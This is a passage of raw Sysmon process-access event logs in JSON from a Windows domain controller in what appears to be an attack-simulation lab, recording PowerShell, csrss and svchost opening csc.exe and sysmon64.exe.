11:55:39.756","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","SourceProcessId":"4256","SourceThreadId":"4620","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-0010472E0600}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6AAF2F)","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-0010472E0600}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-0010472E0600}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 